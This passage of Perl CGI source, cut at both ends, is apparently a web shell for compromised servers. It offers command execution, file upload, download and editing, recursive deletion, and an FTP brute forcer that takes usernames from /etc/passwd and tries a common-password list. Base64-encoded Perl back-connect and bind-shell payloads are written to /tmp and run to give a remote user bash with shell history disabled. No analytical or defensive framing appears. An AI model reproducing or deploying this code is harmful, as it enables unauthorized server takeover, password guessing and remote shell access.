incorrect<br><br>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form for logging in\n#------------------------------------------------------------------------------\nsub PrintLoginForm\n{\n\tprint <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"login\">\nLogin : Administrator<br>\nPassword:<input type=\"password\" name=\"p\">\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the footer for the HTML Page\n#------------------------------------------------------------------------------\nsub PrintPageFooter\n{\n\tprint \"</code></center></body></html>\";\n}\n\n#------------------------------------------------------------------------------\n# Retreives the values of all cookies. The cookies can be accesses using the\n# variable \$Cookies{'}\n#------------------------------------------------------------------------------\nsub GetCookies\n{\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\n\tforeach \$cookie(@httpcookies)\n\t{\n\t\t(\$id, \$val) = split(/=/, \$cookie);\n\t\t\$Cookies{\$id} = \$val;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the screen when the user logs out\n#------------------------------------------------------------------------------\nsub PrintLogoutScreen\n{\n\tprint \"Connection closed by foreign host.<br><br>\";\n}\n\n#------------------------------------------------------------------------------\n# Logs out the user and allows the user to login again\n#------------------------------------------------------------------------------\nsub PerformLogout\n{\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\n\t&PrintPageHeader(\"p\");\n\t&PrintLogoutScreen;\n\n\t&PrintLoginScreen;\n\t&PrintLoginForm;\n\t&PrintPageFooter;\n\texit;\n}\n\n#------------------------------------------------------------------------------\n# This function is called to login the user. If the password matches, it\n# displays a page that allows the user to run commands. If the password doens't\n# match or if no password is entered, it displays a form that allows the user\n# to login\n#------------------------------------------------------------------------------\nsub PerformLogin \n{\n\tif(\$LoginPassword eq \$Password) # password matched\n\t{\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\n\t\t&PrintPageHeader;\n\t\tprint &ListDir;\n\t}\n\telse # password didn't match\n\t{\n\t\t&PrintPageHeader(\"p\");\n\t\t&PrintLoginScreen;\n\t\tif(\$LoginPassword ne \"\") # some password was entered\n\t\t{\n\t\t\t&PrintLoginFailedMessage;\n\n\t\t}\n\t\t&PrintLoginForm;\n\t\t&PrintPageFooter;\n\t\texit;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to enter commands\n#------------------------------------------------------------------------------\nsub PrintCommandLineInputForm\n{\n\tmy \$dir= \"<span style='font: 11pt Open Sans; font-weight: bold;'>\".&AddLinkDir(\"command\").\"</span>\";\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='##66ff66'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"command\">\n\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\$Prompt\n<input type=\"text\" size=\"50\" name=\"c\">\n<input class=\"submit\"type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to download files\n#------------------------------------------------------------------------------\nsub PrintFileDownloadForm\n{\n\tmy \$dir = &AddLinkDir(\"download\"); \n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input type=\"hidden\" name=\"a\" value=\"download\">\n\$Prompt download<br><br>\nFilename: <input class=\"file\" type=\"text\" name=\"f\" size=\"35\"><br><br>\nDownload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\n\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to upload files\n#------------------------------------------------------------------------------\nsub PrintFileUploadForm\n{\n\tmy \$dir= &AddLinkDir(\"upload\");\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\n\$Prompt upload<br><br>\nFilename: <input class=\"file\" type=\"file\" name=\"f\" size=\"35\"><br><br>\nOptions:  <input type=\"checkbox\" name=\"o\" id=\"up\" value=\"overwrite\">\n<label for=\"up\">Overwrite if it Exists</label><br><br>\nUpload:   <input class=\"submit\" type=\"submit\" value=\"Begin\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input class=\"submit\" type=\"hidden\" name=\"a\" value=\"upload\">\n\n</form>\n\nEND\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the timeout for a command expires. We need to\n# terminate the script immediately. This function is valid only on Unix. It is\n# never called when the script is running on NT.\n#------------------------------------------------------------------------------\nsub CommandTimeout\n{\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t\treturn <<END;\n</textarea>\n<br><font color=yellow>\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).</font>\n<br><font size='6' color=red>Killed it!</font>\nEND\n\t}\n}\n\n\n\n#------------------------------------------------------------------------------\n# This function displays the page that contains a link which allows the user\n# to download the specified file. The page also contains a auto-refresh\n# feature that starts the download automatically.\n# Argument 1: Fully qualified filename of the file to be downloaded\n#------------------------------------------------------------------------------\nsub PrintDownloadLinkPage\n{\n\tlocal(\$FileUrl) = @_;\n\tmy \$result=\"\";\n\tif(-e \$FileUrl) # if the file exists\n\t{\n\t\t# encode the file link so we can send it to the browser\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\n\t\t&PrintPageHeader(\"c\");\n\t\t\$result .= <<END;\nSending File \$TransferFile...<br>\n\nIf the download does not start automatically,\n<a href=\"\$DownloadLink\">Click Here</a>\nEND\n\t\t\$result .= &PrintCommandLineInputForm;\n\t}\n\telse # file doesn't exist\n\t{\n\t\t\$result .= \"Failed to download \$FileUrl: \$!\";\n\t\t\$result .= &PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function reads the specified file from the disk and sends it to the\n# browser, so that it can be downloaded by the user.\n# Argument 1: Fully qualified pathname of the file to be sent.\n#------------------------------------------------------------------------------\nsub SendFileToBrowser\n{\n\tmy \$result = \"\";\n\tlocal(\$SendFile) = @_;\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tbinmode(SENDFILE);\n\t\t\tbinmode(STDOUT);\n\t\t}\n\t\t\$FileSize = (stat(\$SendFile))[7];\n\t\t(\$Filename = \$SendFile) =~  m!([^/^\\\\]*)\$!;\n\t\tprint \"Content-Type: application/x-unknown\\n\";\n\t\tprint \"Content-Length: \$FileSize\\n\";\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\n\t\tprint while(<SENDFILE>);\n\t\tclose(SENDFILE);\n\t\texit(1);\n\t}\n\telse # failed to open file\n\t{\n\t\t\$result .= \"Failed to download \$SendFile: \$!\";\n\t\t\$result .=&PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called when the user downloads a file. It displays a message\n# to the user and provides a link through which the file can be downloaded.\n# This function is also called when the user clicks on that link. In this case,\n# the file is read and sent to the browser.\n#------------------------------------------------------------------------------\nsub BeginDownload\n{\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\t&SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\t&PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to upload a file. If the\n# file is not specified, it displays a form allowing the user to specify a\n# file, otherwise it starts the upload process.\n#------------------------------------------------------------------------------\nsub UploadFile\n{\n\t# if no file is specified, print the upload form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\treturn &PrintFileUploadForm;\n\n\t}\n\tmy \$result=\"\";\n\t# start the uploading process\n\t\$result .= \"Uploading \$TransferFile to \$CurrentDir...<br>\";\n\n\t# get the fullly qualified pathname of the file to be created\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\n\t\$TargetName .= \$PathSep.\$1;\n\n\t\$TargetFileSize = length(\$in{'filedata'});\n\t# if the file exists and we are not supposed to overwrite it\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\n\t{\n\t\t\$result .= \"Failed: Destination file already exists.<br>\";\n\t}\n\telse # file is not present\n\t{\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\n\t\t{\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\n\t\t\tprint UPLOADFILE \$in{'filedata'};\n\t\t\tclose(UPLOADFILE);\n\t\t\t\$result .= \"Transfered \$TargetFileSize Bytes.<br>\";\n\t\t\t\$result .= \"File Path: \$TargetName<br>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$result .= \"Failed: \$!<br>\";\n\t\t}\n\t}\n\t\$result .= &PrintCommandLineInputForm;\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to download a file. If the\n# filename is not specified, it displays a form allowing the user to specify a\n# file, otherwise it displays a message to the user and provides a link\n# through  which the file can be downloaded.\n#------------------------------------------------------------------------------\nsub DownloadFile\n{\n\t# if no file is specified, print the download form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\treturn &PrintFileDownloadForm;\n\t}\n\t\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) | (!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\treturn &SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\treturn &PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called to execute commands. It displays the output of the\n# command and allows the user to enter another command. The change directory\n# command is handled differently. In this case, the new directory is stored in\n# an internal variable and is used each time a command has to be executed. The\n# output of the change directory command is not displayed to the users\n# therefore error messages cannot be displayed.\n#------------------------------------------------------------------------------\nsub ExecuteCommand\n{\n\tmy \$result=\"\";\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\n\t{\n\t\t# we change the directory internally. The output of the\n\t\t# command is not displayed.\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\n\t\tchop(\$CurrentDir = `\$Command`);\n\t\t\$result .= &PrintCommandLineInputForm;\n\n\t\t\$result .= \"Command: <run>\$RunCommand </run><br><textarea cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t# xuat thong tin khi chuyen den 1 thu muc nao do!\n\t\t\$RunCommand= \$WinNT?\"dir\":\"dir -lia\";\n\t\t\$result .= &RunCmd;\n\t}elsif(\$RunCommand =~ m/^\\s*edit\\s+(.+)/)\n\t{\n\t\t\$result .=  &SaveFileForm;\n\t}else\n\t{\n\t\t\$result .= &PrintCommandLineInputForm;\n\t\t\$result .= \"Command: <run>\$RunCommand</run><br><textarea id='data' cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t\$result .=&RunCmd;\n\t}\n\t\$result .=  \"</textarea>\";\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------\n# run command\n#------------------------------------------------------------------------\n\nsub RunCmd\n{\n\tmy \$result=\"\";\n\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\n\tif(!\$WinNT)\n\t{\n\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\n\t\talarm(\$CommandTimeoutDuration);\n\t}\n\tif(\$ShowDynamicOutput) # show output as it is generated\n\t{\n\t\t\$|=1;\n\t\t\$Command .= \" |\";\n\t\topen(CommandOutput, \$Command);\n\t\twhile(<CommandOutput>)\n\t\t{\n\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\n\t\t\t\$result .= &HtmlSpecialChars(\"\$_\\n\");\n\t\t}\n\t\t\$|=0;\n\t}\n\telse # show output after command completes\n\t{\n\t\t\$result .= &HtmlSpecialChars('\$Command');\n\t}\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t}\n\treturn \$result;\n}\n#==============================================================================\n# Form Save File \n#==============================================================================\nsub SaveFileForm\n{\n\tmy \$result =\"\";\n\tsubstr(\$RunCommand,0,5)=\"\";\n\tmy \$file=&trim(\$RunCommand);\n\t\$save='<br><input name=\"a\" type=\"submit\" value=\"save\" class=\"submit\" >';\n\t\$File=\$CurrentDir.\$PathSep.\$RunCommand;\n\tmy \$dir=\"<span style='font: 11pt Open Sans; font-weight: bold;'>\".&AddLinkDir(\"gui\").\"</span>\";\n\tif(-w \$File)\n\t{\n\t\t\$rows=\"23\"\n\t}else\n\t{\n\t\t\$msg=\"<br><font style='font: 15pt Open Sans; color: yellow;' > Permission denied!<font><br>\";\n\t\t\$rows=\"20\"\n\t}\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\t\$read=(\$WinNT)?\"type\":\"less\";\n\t\$RunCommand = \"\$read \\\"\$RunCommand\\\"\";\n\t\$result .=  <<END;\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\t\$Prompt\n\t<input type=\"text\" size=\"40\" name=\"c\">\n\t<input name=\"s\" class=\"submit\" type=\"submit\" value=\"Enter\">\n\t<br>Command: <run> \$RunCommand </run>\n\t<input type=\"hidden\" name=\"file\" value=\"\$file\" > \$save <br> \$msg\n\t<br><textarea id=\"data\" name=\"data\" cols=\"\$cols\" rows=\"\$rows\" spellcheck=\"false\">\nEND\n\t\n\t\$result .= &RunCmd;\n\t\$result .=  \"</textarea>\";\n\t\$result .=  \"</form>\";\n\treturn \$result;\n}\n#==============================================================================\n# Save File\n#==============================================================================\nsub SaveFile(\$)\n{\n\tmy \$Data= shift ;\n\tmy \$File= shift;\n\t\$File=\$CurrentDir.\$PathSep.\$File;\n\tif(open(FILE, \">\$File\"))\n\t{\n\t\tbinmode FILE;\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\treturn 1;\n\t}else\n\t{\n\t\treturn 0;\n\t}\n}\n#------------------------------------------------------------------------------\n# Brute Forcer Form\n#------------------------------------------------------------------------------\nsub BruteForcerForm\n{\n\tmy \$result=\"\";\n\t\$result .= <<END;\n\n<table>\n\n<tr>\n<td colspan=\"2\" align=\"center\">\n####################################<br>\nSimple FTP brute forcer<br>\n####################################\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"bruteforcer\"/>\n</td>\n</tr>\n<tr>\n<td>User:<br><textarea rows=\"18\" cols=\"30\" name=\"user\">\nEND\nchop(\$result .= `less /etc/passwd | cut -d: -f1`);\n\$result .= <<'END';\n</textarea></td>\n<td>\n\nPass:<br>\n<textarea rows=\"18\" cols=\"30\" name=\"pass\">123pass\n123!@#\n123admin\n123abc\n123456admin\n1234554321\n12344321\npass123\nadmin\nadmincp\nadministrator\nmatkhau\npassadmin\np@ssword\np@ssw0rd\npassword\n123456\n1234567\n12345678\n123456789\n1234567890\n111111\n000000\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999\n123123\n234234\n345345\n456456\n567567\n678678\n789789\n123321\n456654\n654321\n7654321\n87654321\n987654321\n0987654321\nadmin123\nadmin123456\nabcdef\nabcabc\n!@#!@#\n!@#\$%^\n!@#\$%^&*(\n!@#\$\$#@!\nabc123\nanhyeuem\niloveyou</textarea>\n</td>\n</tr>\n<tr>\n<td colspan=\"2\" align=\"center\">\nSleep:<select name=\"sleep\">\n\n<option>0</option>\n<option>1</option>\n<option>2</option>\n\n<option>3</option>\n</select> \n<input type=\"submit\" class=\"submit\" value=\"Brute Forcer\"/></td></tr>\n</form>\n</table>\nEND\nreturn \$result;\n}\n#------------------------------------------------------------------------------\n# Brute Forcer\n#------------------------------------------------------------------------------\nsub BruteForcer\n{\n\tmy \$result=\"\";\n\t\$Server=\$ENV{'SERVER_ADDR'};\n\tif(\$in{'user'} eq \"\")\n\t{\n\t\t\$result .= &BruteForcerForm;\n\t}else\n\t{\n\t\tuse Net::FTP; \n\t\t@user= split(/\\n/, \$in{'user'});\n\t\t@pass= split(/\\n/, \$in{'pass'});\n\t\tchomp(@user);\n\t\tchomp(@pass);\n\t\t\$result .= \"<br><br>[+] Trying brute \$ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\\n\";\n\t\tforeach \$username (@user)\n\t\t{\n\t\t\tif(!(\$username eq \"\"))\n\t\t\t{\n\t\t\t\tforeach \$password (@pass)\n\t\t\t\t{\n\t\t\t\t\t\$ftp = Net::FTP->new(\$Server) or die \"Could not connect to \$ServerName\\n\"; \n\t\t\t\t\tif(\$ftp->login(\"\$username\",\"\$password\"))\n\t\t\t\t\t{\n\t\t\t\t\t\t\$result .= \"<a target='_blank' href='ftp://\$username:\$password\\@\$Server'>[+] ftp://\$username:\$password\\@\$Server</a><br>\\n\";\n\t\t\t\t\t\t\$ftp->quit();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tif(!(\$in{'sleep'} eq \"0\"))\n\t\t\t\t\t{\n\t\t\t\t\t\tsleep(int(\$in{'sleep'}));\n\t\t\t\t\t}\n\t\t\t\t\t\$ftp->quit();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\$result .= \"\\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\\n\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Backconnect Form\n#------------------------------------------------------------------------------\nsub BackBindForm\n{\n\treturn <<END;\n\t<br><br>\n\n\t<table>\n\t<tr>\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>BackConnect: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\t<td> Host: <input type=\"text\" size=\"20\" name=\"clientaddr\" value=\"\$ENV{'REMOTE_ADDR'}\">\n\t Port: <input type=\"text\" size=\"7\" name=\"clientport\" value=\"80\" onkeyup=\"document.getElementById('ba').innerHTML=this.value;\"></td>\n\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Connect\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!\n\t<br>[+] Try check your Port with <a target=\"_blank\" href=\"http://www.canyouseeme.org/\">http://www.canyouseeme.org/</a>\n\t<br>[+] Client listen with command: <run>nc -vv -l -p <span id=\"ba\">80</span></run></font></td>\n\n\t</tr>\n\t</table>\n\n\t<br><br>\n\t<table>\n\t<tr>\n\t<form method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>Bind Port: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\n\t<td> Port: <input type=\"text\" size=\"15\" name=\"clientport\" value=\"1412\" onkeyup=\"document.getElementById('bi').innerHTML=this.value;\">\n\n\t Password: <input type=\"text\" size=\"15\" name=\"bindpass\" value=\"THIEUGIABUON\"></td>\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Bind\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!\n\t<br>[+] Try command: <run>nc \$ENV{'SERVER_ADDR'} <span id=\"bi\">1412</span></run></font></td>\n\n\t</tr>\n\t</table><br>\nEND\n}\n#------------------------------------------------------------------------------\n# Backconnect use perl\n#------------------------------------------------------------------------------\nsub BackBind\n{\n\tuse MIME::Base64;\n\tuse Socket;\t\n\t\$backperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7\";\n\t\$bindperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=\";\n\n\t\$ClientAddr = \$in{'clientaddr'};\n\t\$ClientPort = int(\$in{'clientport'});\n\tif(\$ClientPort eq 0)\n\t{\n\t\treturn &BackBindForm;\n\t}elsif(!\$ClientAddr eq \"\")\n\t{\n\t\t\$Data=decode_base64(\$backperl);\n\t\tif(-w \"/tmp/\")\n\t\t{\n\t\t\t\$File=\"/tmp/backconnect.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"backconnect.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl backconnect.pl \$ClientAddr \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}else\n\t{\n\t\t\$Data=decode_base64(\$bindperl);\n\t\tif(-w \"/tmp\")\n\t\t{\n\t\t\t\$File=\"/tmp/bindport.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"bindport.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl bindport.pl \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}\n}\n#------------------------------------------------------------------------------\n#  Array List Directory\n#------------------------------------------------------------------------------\nsub RmDir(\$) \n{\n\tmy \$dir = shift;\n    if(opendir(DIR,\$dir))\n\t{\n\t\twhile(\$file = readdir(DIR))\n\t\t{\n\t\t\tif((\$file ne \".\") && (\$file ne \"..\"))\n\t\t\t{\n\t\t\t\t\$file= \$dir.\$PathSep.\$file;\n\t\t\t\tif(-d \$file)\n\t\t\t\t{\n\t\t\t\t\t&RmDir(\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tunlink(\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tclosedir(DIR);\n\t}\n\tif(!rmdir(\$dir))\n\t{\n\t\t\n\t}\n}\nsub FileOwner(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$uid,\$gid) = (stat(\$file))[4,5];\n\t\tif(\$WinNT)\n\t\t{\n\t\t\treturn \"???\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$name=getpwuid(\$uid);\n\t\t\t\$group=getgrgid(\$gid);\n\t\t\treturn \$name.\"/\".\$group;\n\t\t}\n\t}\n\treturn \"???\";\n}\nsub ParentFolder(\$)\n{\n\tmy \$path = shift;\n\tmy \$Comm = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd ..\".\$CmdSep.\$CmdPwd;\n\tchop(\$path = `\$Comm`);\n\treturn \$path;\n}\nsub FilePerms(\$)\n{\n\tmy \$file = shift;\n\tmy \$ur = \"-\";\n\tmy \$uw = \"-\";\n\tif(-e \$file)\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tif(-r \$file){ \$ur = \"r\"; }\n\t\t\tif(-w \$file){ \$uw = \"w\"; }\n\t\t\treturn \$ur . \" / \" . \$uw;\n\t\t}else\n\t\t{\n\t\t\t\$mode=(stat(\$file))[2];\n\t\t\t\$result = sprintf(\"%04o\", \$mode & 07777);\n\t\t\treturn \$result;\n\t\t}\n\t}\n\treturn \"0000\";\n}\nsub FileLastModified(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$la) = (stat(\$file))[9];\n\t\t(\$d,\$m,\$y,\$h,\$i) = (localtime(\$la))[3,4,5,2,1];\n\t\t\$y = \$y + 1900;\n\t\t@month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;\n\t\t\$lmtime = sprintf(\"%02d/%s/%4d %02d:%02d\",\$d,\$month[\$m],\$y,\$h,\$i);\n\t\treturn \$lmtime;\n\t}\n\treturn \"???\";\n}\nsub FileSize(\$)\n{\n\tmy \$file = shift;\n\tif(-f \$file)\n\t{\n\t\treturn -s \$file;\n\t}\n\treturn \"0\";\n\n}\nsub ParseFileSize(\$)\n{\n\tmy \$size = shift;\n\tif(\$size <= 1024)\n\t{\n\t\treturn \$size. \" B\";\n\t}\n\telse\n\t{\n\t\tif(\$size <= 1024*1024) \n\t\t{\n\t\t\t\$size = sprintf(\"%.02f\",\$size / 1024);\n\t\t\treturn \$size.\" KB\";\n\t\t}\n\t\telse \n\t\t{\n\t\t\t\$size = sprintf(\"%.2f\",\$size / 1024 / 1024);\n\t\t\treturn \$size.\" MB\";\n\t\t}\n\t}\n}\nsub trim(\$)\n{\n\tmy \$string = shift;\n\t\$string =~ s/^\\s+//;\n\t\$string =~ s/\\s+\$//;\n\treturn \$string;\n}\nsub AddSlashes(\$)\n{\n\tmy \$string = shift;\n\t\$string=~ s/\\\\/\\\\\\\\/g;\n\treturn \$string;\n}\nsub ListDir\n{\n\tmy \$path = \$CurrentDir.\$PathSep;\n\t\$path=~ s/\\\\\\\\/\\\\/g;\n\tmy 